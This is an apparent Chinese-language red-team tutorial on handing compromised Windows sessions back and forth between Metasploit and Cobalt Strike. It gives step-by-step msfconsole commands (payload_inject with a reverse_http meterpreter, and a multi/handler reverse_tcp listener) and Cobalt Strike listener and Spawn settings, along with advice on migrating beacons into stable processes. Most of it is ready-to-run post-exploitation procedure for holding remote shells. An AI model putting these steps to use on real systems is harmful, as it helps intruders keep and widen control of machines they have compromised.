metasploit与Cobaltstrike互相派生shell

metasploit与Cobaltstrike互相派生shell

为什么需要派生

3.x 版本之后，和msfonsole分离了，是一个独立的团队协作工具

 1.复用两个工具的功能
 2.对其中某个工具使用不熟练
 3.Cobalt strike 的beaconshell不稳定。尤其是powershell生成的程序，尽快将其migrate 到另一个进程里做后续操作

对迁移进程的目标选择：
使用ps列出进程信息，选择同架构（x86,x64）,同权限（system/administrator/user）的exe进程进行迁移

相互派生shell可使用如下步骤操作

1. msf 派生 shell 给 Cobalt strike

(前提有一个meterpreter)

1.1 Cobalt Strike创建一个Listener

创建以windows/becon_http/reverse_http为payload的 Listener
并设置参数：

	   ip：(192.168.1.100)    # Cobalt Strike Server的ip地址
	   端口: (1212)

等待msfconsole设置完成并执行，就可以得到一个beconshell

1.2 在msf的session中建立一条连接

msf exploit(handler) >  use exploit/windows/local/payload_inject
msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.1.100
msf exploit(payload_inject) > set LPORT 1212
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit

2. Cobalt strike 派生 shell 给 MSF

(前提有个beaconshell)

2.1 在msfconsole中创建反向监听

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit

2.2 使用Cobalt Strike创建一个Listener

创建以
windows/foreign/reverse_tcp
为payload的 Listener
并设置和2.1中的设置的参数一致：
ip为msf的ip地址(192.168.1.100)，
端口为msf所监听的端口(5555)。
然后选中计算机，右键->Spawn，选择刚刚创建的监听器。
msf中即可看到成功获取了meterpreter会话

参考

• https://www.cnblogs.com/test404/p/10599981.html
• https://www.jianshu.com/p/8d823adbc6b5